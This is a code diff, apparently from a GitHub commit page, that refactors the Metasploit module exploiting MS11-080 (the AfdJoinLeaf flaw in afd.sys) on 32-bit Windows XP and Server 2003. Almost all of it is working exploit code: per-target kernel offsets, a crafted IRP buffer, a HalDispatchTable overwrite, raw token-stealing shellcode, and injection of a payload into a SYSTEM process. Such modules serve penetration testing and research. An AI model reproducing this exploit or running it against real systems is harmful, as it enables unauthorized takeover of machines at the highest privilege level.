4
4
##
5
5
6
6
require 'msf/core'
7
+ require 'msf/core/exploit/local/windows_kernel'
7
8
require 'rex'
8
9
9
10
class Metasploit3 < Msf ::Exploit ::Local
@@ -13,12 +14,14 @@ class Metasploit3 < Msf::Exploit::Local
13
14
# the system process that it was injected into to die then it's also
14
15
# possible that the system may become unstable.
15
16
17
+ include Msf ::Exploit ::Local ::WindowsKernel
16
18
include Msf ::Post ::Windows ::Priv
19
+ include Msf ::Post ::Windows ::Process
17
20
18
- def initialize ( info = { } )
21
+ def initialize ( info = { } )
19
22
super ( update_info ( info , {
20
- 'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation' ,
21
- 'Description' => %q{
23
+ 'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation' ,
24
+ 'Description' => %q(
22
25
This module exploits a flaw in the AfdJoinLeaf function of the
23
26
afd.sys driver to overwrite data in kernel space. An address
24
27
within the HalDispatchTable is overwritten and when triggered
@@ -27,25 +30,24 @@ def initialize(info={})
27
30
This module will elevate itself to SYSTEM, then inject the payload
28
31
into another SYSTEM process before restoring it's own token to
29
32
avoid causing system instability.
30
- } ,
33
+ ) ,
31
34
'License' => MSF_LICENSE ,
32
35
'Author' =>
33
36
[
34
37
'Matteo Memelli' , # original exploit and all the hard work
35
38
'Spencer McIntyre' # MSF module
36
39
] ,
37
- 'Arch' => [ ARCH_X86 ] ,
38
- 'Platform' => [ 'win' ] ,
39
- 'SessionTypes' => [ 'meterpreter' ] ,
40
+ 'Arch' => [ ARCH_X86 ] ,
41
+ 'Platform' => [ 'win' ] ,
42
+ 'SessionTypes' => [ 'meterpreter' ] ,
40
43
'DefaultOptions' =>
41
44
{
42
- 'EXITFUNC' => 'thread' ,
45
+ 'EXITFUNC' => 'thread'
43
46
} ,
44
- 'Targets' =>
47
+ 'Targets' =>
45
48
[
46
- [ 'Automatic' , { } ] ,
47
-
48
- [ 'Windows XP SP2 / SP3' ,
49
+ [ 'Automatic' , { } ] ,
50
+ [ 'Windows XP SP2 / SP3' ,
49
51
{
50
52
'HaliQuerySystemInfo' => 0x16bba ,
51
53
'HalpSetSystemInformation' => 0x19436 ,
@@ -55,8 +57,7 @@ def initialize(info={})
55
57
'_APLINKS' => "\x88 "
56
58
}
57
59
] ,
58
-
59
- [ 'Windows Server 2003 SP2' ,
60
+ [ 'Windows Server 2003 SP2' ,
60
61
{
61
62
'HaliQuerySystemInfo' => 0x1fa1e ,
62
63
'HalpSetSystemInformation' => 0x21c60 ,
@@ -65,220 +66,156 @@ def initialize(info={})
65
66
'_UPID' => "\x94 " ,
66
67
'_APLINKS' => "\x98 "
67
68
}
68
- ] ,
69
+ ]
69
70
] ,
70
- 'References' =>
71
+ 'References' =>
71
72
[
72
- [ ' CVE' , ' 2011-2005' ] ,
73
- [ ' OSVDB' , ' 76232' ] ,
74
- [ ' EDB' , ' 18176' ] ,
75
- [ ' MSB' , ' MS11-080' ] ,
76
- [ ' URL' , ' http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/' ]
73
+ %w( CVE 2011-2005 ) ,
74
+ %w( OSVDB 76232 ) ,
75
+ %w( EDB 18176 ) ,
76
+ %w( MSB MS11-080 ) ,
77
+ %w( URL http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/ )
77
78
] ,
78
- 'DisclosureDate' => 'Nov 30 2011' ,
79
- 'DefaultTarget' => 0
79
+ 'DisclosureDate' => 'Nov 30 2011' ,
80
+ 'DefaultTarget' => 0
80
81
} ) )
81
-
82
- register_options ( [
83
- ] )
84
-
85
- end
86
-
87
- def find_sys_base ( drvname )
88
- session . railgun . add_dll ( 'psapi' ) if not session . railgun . dlls . keys . include? ( 'psapi' )
89
- session . railgun . add_function ( 'psapi' , 'EnumDeviceDrivers' , 'BOOL' , [ [ "PBLOB" , "lpImageBase" , "out" ] , [ "DWORD" , "cb" , "in" ] , [ "PDWORD" , "lpcbNeeded" , "out" ] ] )
90
- session . railgun . add_function ( 'psapi' , 'GetDeviceDriverBaseNameA' , 'DWORD' , [ [ "LPVOID" , "ImageBase" , "in" ] , [ "PBLOB" , "lpBaseName" , "out" ] , [ "DWORD" , "nSize" , "in" ] ] )
91
- results = session . railgun . psapi . EnumDeviceDrivers ( 4096 , 1024 , 4 )
92
- addresses = results [ 'lpImageBase' ] [ 0 ..results [ 'lpcbNeeded' ] - 1 ] . unpack ( "V*" )
93
-
94
- addresses . each do |address |
95
- results = session . railgun . psapi . GetDeviceDriverBaseNameA ( address , 48 , 48 )
96
- current_drvname = results [ 'lpBaseName' ] [ 0 ..results [ 'return' ] - 1 ]
97
- if drvname == nil
98
- if current_drvname . downcase . include? ( 'krnl' )
99
- return [ address , current_drvname ]
100
- end
101
- elsif drvname == results [ 'lpBaseName' ] [ 0 ..results [ 'return' ] - 1 ]
102
- return [ address , current_drvname ]
103
- end
104
- end
105
82
end
106
83
107
84
# Function borrowed from smart_hashdump
108
85
def get_system_proc
109
86
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
110
- local_sys = resolve_sid ( " S-1-5-18" )
87
+ local_sys = resolve_sid ( ' S-1-5-18' )
111
88
system_account_name = "#{ local_sys [ :domain ] } \\ #{ local_sys [ :name ] } "
112
89
113
90
# Processes that can Blue Screen a host if migrated in to
114
- dangerous_processes = [ " lsass.exe" , " csrss.exe" , " smss.exe" ]
91
+ dangerous_processes = [ ' lsass.exe' , ' csrss.exe' , ' smss.exe' ]
115
92
session . sys . process . processes . each do |p |
116
93
# Check we are not migrating to a process that can BSOD the host
117
- next if dangerous_processes . include? ( p [ " name" ] )
118
- next if p [ " pid" ] == session . sys . process . getpid
119
- next if p [ " pid" ] == 4
120
- next if p [ " user" ] != system_account_name
94
+ next if dangerous_processes . include? ( p [ ' name' ] )
95
+ next if p [ ' pid' ] == session . sys . process . getpid
96
+ next if p [ ' pid' ] == 4
97
+ next if p [ ' user' ] != system_account_name
121
98
return p
122
99
end
123
100
end
124
101
125
102
def exploit
126
- if sysinfo [ " Architecture" ] =~ /wow64/i
127
- print_error ( " Running against WOW64 is not supported" )
103
+ if sysinfo [ ' Architecture' ] =~ /wow64/i
104
+ print_error ( ' Running against WOW64 is not supported' )
128
105
return
129
- elsif sysinfo [ " Architecture" ] =~ /x64/
130
- print_error ( " Running against 64-bit systems is not supported" )
106
+ elsif sysinfo [ ' Architecture' ] =~ /x64/
107
+ print_error ( ' Running against 64-bit systems is not supported' )
131
108
return
132
109
end
133
110
134
111
mytarget = target
135
112
if mytarget . name =~ /Automatic/
136
- os = sysinfo [ "OS" ]
137
- if os =~ /windows xp/i
138
- mytarget = targets [ 1 ]
139
- end
140
- if ( ( os =~ /2003/ ) and ( os =~ /service pack 2/i ) )
141
- mytarget = targets [ 2 ]
142
- end
143
- if ( ( os =~ /\. net server/i ) and ( os =~ /service pack 2/i ) )
113
+ os = sysinfo [ 'OS' ]
114
+ mytarget = targets [ 1 ] if os =~ /windows xp/i
115
+ mytarget = targets [ 2 ] if ( os =~ /2003/ ) && ( os =~ /service pack 2/i )
116
+ if ( os =~ /\. net server/i ) && ( os =~ /service pack 2/i )
144
117
mytarget = targets [ 2 ]
145
118
end
146
119
147
120
if mytarget . name =~ /Automatic/
148
- print_error ( " Could not identify the target system, it may not be supported" )
121
+ print_error ( ' Could not identify the target system, it may not be supported' )
149
122
return
150
123
end
151
124
print_status ( "Running against #{ mytarget . name } " )
152
125
end
153
126
154
127
if is_system?
155
- print_error ( " This meterpreter session is already running as SYSTEM" )
128
+ print_error ( ' This meterpreter session is already running as SYSTE' )
156
129
return
157
130
end
158
131
159
132
this_proc = session . sys . process . open
160
- kernel_info = find_sys_base ( nil )
161
133
base_addr = 0x1001
162
- print_status ( "Kernel Base Address: 0x#{ kernel_info [ 0 ] . to_s ( 16 ) } " )
163
134
164
- result = session . railgun . ws2_32 . WSASocketA ( " AF_INET" , " SOCK_STREAM" , " IPPROTO_TCP" , nil , nil , 0 )
135
+ result = session . railgun . ws2_32 . WSASocketA ( ' AF_INET' , ' SOCK_STREAM' , ' IPPROTO_TCP' , nil , nil , 0 )
165
136
socket = result [ 'return' ]
166
137
167
138
irpstuff = rand_text_alpha ( 8 )
168
139
irpstuff << "\x00 \x00 \x00 \x00 "
169
140
irpstuff << rand_text_alpha ( 4 )
170
141
irpstuff << "\x01 \x00 \x00 \x00 "
171
- irpstuff << "\xe8 \x00 " + "4" + " \xf0 \x00 "
142
+ irpstuff << "\xe8 \x00 \x34 \xf0 \x00 "
172
143
irpstuff << rand_text_alpha ( 231 )
173
144
174
- if not this_proc . memory . writable? ( 0x1000 )
175
- result = session . railgun . ntdll . NtAllocateVirtualMemory ( -1 , [ base_addr ] . pack ( "V" ) , nil , [ 0x1000 ] . pack ( "V" ) , " MEM_COMMIT | MEM_RESERVE" , " PAGE_EXECUTE_READWRITE" )
145
+ unless this_proc . memory . writable? ( 0x1000 )
146
+ session . railgun . ntdll . NtAllocateVirtualMemory ( -1 , [ base_addr ] . pack ( 'V' ) , nil , [ 0x1000 ] . pack ( 'V' ) , ' MEM_COMMIT | MEM_RESERVE' , ' PAGE_EXECUTE_READWRITE' )
176
147
end
177
- if not this_proc . memory . writable? ( 0x1000 )
148
+ unless this_proc . memory . writable? ( 0x1000 )
178
149
print_error ( 'Failed to properly allocate memory' )
179
150
return
180
151
end
181
152
this_proc . memory . write ( 0x1000 , irpstuff )
182
153
183
- hKernel = session . railgun . kernel32 . LoadLibraryExA ( kernel_info [ 1 ] , 0 , 1 )
184
- hKernel = hKernel [ 'return' ]
185
- halDispatchTable = session . railgun . kernel32 . GetProcAddress ( hKernel , "HalDispatchTable" )
186
- halDispatchTable = halDispatchTable [ 'return' ]
187
- halDispatchTable -= hKernel
188
- halDispatchTable += kernel_info [ 0 ]
189
- print_status ( "HalDisPatchTable Address: 0x#{ halDispatchTable . to_s ( 16 ) } " )
154
+ haldispatchtable = find_haldispatchtable
155
+ return if haldispatchtable . nil?
190
156
191
- halbase = find_sys_base ( " hal.dll" ) [ 0 ]
192
- haliQuerySystemInformation = halbase + mytarget [ 'HaliQuerySystemInfo' ]
193
- halpSetSystemInformation = halbase + mytarget [ 'HalpSetSystemInformation' ]
194
- print_status ( "HaliQuerySystemInformation Address: 0x#{ haliQuerySystemInformation . to_s ( 16 ) } " )
195
- print_status ( "HalpSetSystemInformation Address: 0x#{ halpSetSystemInformation . to_s ( 16 ) } " )
157
+ halbase = find_sys_base ( ' hal.dll' ) [ 0 ]
158
+ hal_iquerysysteminformation = halbase + mytarget [ 'HaliQuerySystemInfo' ]
159
+ hal_psetsysteminformation = halbase + mytarget [ 'HalpSetSystemInformation' ]
160
+ print_status ( "HaliQuerySystemInformation Address: 0x#{ hal_iquerysysteminformation . to_s ( 16 ) . rjust ( 8 , '0' ) } " )
161
+ print_status ( "HalpSetSystemInformation Address: 0x#{ hal_psetsysteminformation . to_s ( 16 ) . rjust ( 8 , '0' ) } " )
196
162
197
163
#### Exploitation ####
198
- shellcode_address_dep = 0x0002071e
164
+ shellcode_address_dep = 0x0002071e
199
165
shellcode_address_nodep = 0x000207b8
200
- padding = make_nops ( 2 )
201
- halDispatchTable0x4 = halDispatchTable + 0x4
202
- halDispatchTable0x8 = halDispatchTable + 0x8
166
+ padding = make_nops ( 2 )
167
+ backup_token = 0x20900
203
168
204
169
restore_ptrs = "\x31 \xc0 "
205
- restore_ptrs << "\xb8 " + [ halpSetSystemInformation ] . pack ( "V" )
206
- restore_ptrs << "\xa3 " + [ halDispatchTable0x8 ] . pack ( "V" )
207
- restore_ptrs << "\xb8 " + [ haliQuerySystemInformation ] . pack ( "V" )
208
- restore_ptrs << "\xa3 " + [ halDispatchTable0x4 ] . pack ( "V" )
209
-
210
- tokenstealing = "\x52 "
211
- tokenstealing << "\x53 "
212
- tokenstealing << "\x33 \xc0 "
213
- tokenstealing << "\x64 \x8b \x80 \x24 \x01 \x00 \x00 "
214
- tokenstealing << "\x8b \x40 " + mytarget [ '_KPROCESS' ]
215
- tokenstealing << "\x8b \xc8 "
216
- tokenstealing << "\x8b \x98 " + mytarget [ '_TOKEN' ] + "\x00 \x00 \x00 "
217
- tokenstealing << "\x89 \x1d \x00 \x09 \x02 \x00 "
218
- tokenstealing << "\x8b \x80 " + mytarget [ '_APLINKS' ] + "\x00 \x00 \x00 "
219
- tokenstealing << "\x81 \xe8 " + mytarget [ '_APLINKS' ] + "\x00 \x00 \x00 "
220
- tokenstealing << "\x81 \xb8 " + mytarget [ '_UPID' ] + "\x00 \x00 \x00 \x04 \x00 \x00 \x00 "
221
- tokenstealing << "\x75 \xe8 "
222
- tokenstealing << "\x8b \x90 " + mytarget [ '_TOKEN' ] + "\x00 \x00 \x00 "
223
- tokenstealing << "\x8b \xc1 "
224
- tokenstealing << "\x89 \x90 " + mytarget [ '_TOKEN' ] + "\x00 \x00 \x00 "
225
- tokenstealing << "\x5b "
226
- tokenstealing << "\x5a "
227
- tokenstealing << "\xc2 \x10 "
170
+ restore_ptrs << "\xb8 " + [ hal_psetsysteminformation ] . pack ( 'V' )
171
+ restore_ptrs << "\xa3 " + [ haldispatchtable + 8 ] . pack ( 'V' )
172
+ restore_ptrs << "\xb8 " + [ hal_iquerysysteminformation ] . pack ( 'V' )
173
+ restore_ptrs << "\xa3 " + [ haldispatchtable + 4 ] . pack ( 'V' )
228
174
229
175
restore_token = "\x52 "
230
176
restore_token << "\x33 \xc0 "
231
177
restore_token << "\x64 \x8b \x80 \x24 \x01 \x00 \x00 "
232
178
restore_token << "\x8b \x40 " + mytarget [ '_KPROCESS' ]
233
- restore_token << "\x8b \x15 \x00 \x09 \x02 \x00 "
179
+ restore_token << "\x8b \x15 " + [ backup_token ] . pack ( 'V' )
234
180
restore_token << "\x89 \x90 " + mytarget [ '_TOKEN' ] + "\x00 \x00 \x00 "
235
181
restore_token << "\x5a "
236
182
restore_token << "\xc2 \x10 "
237
183
238
- shellcode = padding + restore_ptrs + tokenstealing
184
+ shellcode = padding + restore_ptrs + token_stealing_shellcode ( mytarget , backup_token )
239
185
240
186
this_proc . memory . write ( shellcode_address_dep , shellcode )
241
187
this_proc . memory . write ( shellcode_address_nodep , shellcode )
242
188
this_proc . memory . protect ( 0x00020000 )
243
189
244
- addr = [ 2 , 4455 , 0x7f000001 , 0 , 0 ] . pack ( " vvVVV" )
190
+ addr = [ 2 , 4455 , 0x7f000001 , 0 , 0 ] . pack ( ' vvVVV' )
245
191
result = session . railgun . ws2_32 . connect ( socket , addr , addr . length )
246
192
if result [ 'return' ] != 0xffffffff
247
- print_error ( " The socket is not in the correct state" )
193
+ print_error ( ' The socket is not in the correct state' )
248
194
return
249
195
end
250
196
251
- print_status ( " Triggering AFDJoinLeaf pointer overwrite..." )
252
- result = session . railgun . ntdll . NtDeviceIoControlFile ( socket , 0 , 0 , 0 , 4 , 0x000120bb , 0x1004 , 0x108 , halDispatchTable0x4 + 0x1 , 0 )
253
- result = session . railgun . ntdll . NtQueryIntervalProfile ( 1337 , 4 )
197
+ print_status ( ' Triggering AFDJoinLeaf pointer overwrite...' )
198
+ session . railgun . ntdll . NtDeviceIoControlFile ( socket , 0 , 0 , 0 , 4 , 0x000120bb , 0x1004 , 0x108 , haldispatchtable + 5 , 0 )
199
+ session . railgun . ntdll . NtQueryIntervalProfile ( 1337 , 4 )
254
200
255
- if not is_system?
256
- print_error ( " Exploit failed" )
201
+ unless is_system?
202
+ print_error ( ' Exploit failed' )
257
203
return
258
204
end
259
205
260
- begin
261
- proc = get_system_proc
262
- print_status ( "Injecting the payload into SYSTEM process: #{ proc [ "name" ] } PID: #{ proc [ "pid" ] } " )
263
- host_process = client . sys . process . open ( proc [ "pid" ] , PROCESS_ALL_ACCESS )
264
- mem = host_process . memory . allocate ( payload . encoded . length + ( payload . encoded . length % 1024 ) )
265
-
266
- print_status ( "Writing #{ payload . encoded . length } bytes at address #{ "0x%.8x" % mem } " )
267
- host_process . memory . write ( mem , payload . encoded )
268
- host_process . thread . create ( mem , 0 )
269
- rescue ::Exception => e
270
- print_error ( "Failed to Inject Payload" )
271
- print_error ( e . to_s )
206
+ proc = get_system_proc
207
+ print_status ( "Injecting the payload into SYSTEM process: #{ proc [ 'name' ] } " )
208
+ unless execute_shellcode ( payload . encoded , nil , proc [ 'pid' ] )
209
+ print_error ( 'An error occurred while executing the payload' )
272
210
end
273
211
274
212
# Restore the token because apparently BSODs are frowned upon
275
- print_status ( " Restoring the original token..." )
213
+ print_status ( ' Restoring the original token...' )
276
214
shellcode = padding + restore_ptrs + restore_token
277
215
this_proc . memory . write ( shellcode_address_dep , shellcode )
278
216
this_proc . memory . write ( shellcode_address_nodep , shellcode )
279
217
280
- result = session . railgun . ntdll . NtDeviceIoControlFile ( socket , 0 , 0 , 0 , 4 , 0x000120bb , 0x1004 , 0x108 , halDispatchTable0x4 + 0x1 , 0 )
281
- result = session . railgun . ntdll . NtQueryIntervalProfile ( 1337 , 4 )
218
+ session . railgun . ntdll . NtDeviceIoControlFile ( socket , 0 , 0 , 0 , 4 , 0x000120bb , 0x1004 , 0x108 , haldispatchtable + 5 , 0 )
219
+ session . railgun . ntdll . NtQueryIntervalProfile ( 1337 , 4 )
282
220
end
283
-
284
221
end
0 commit comments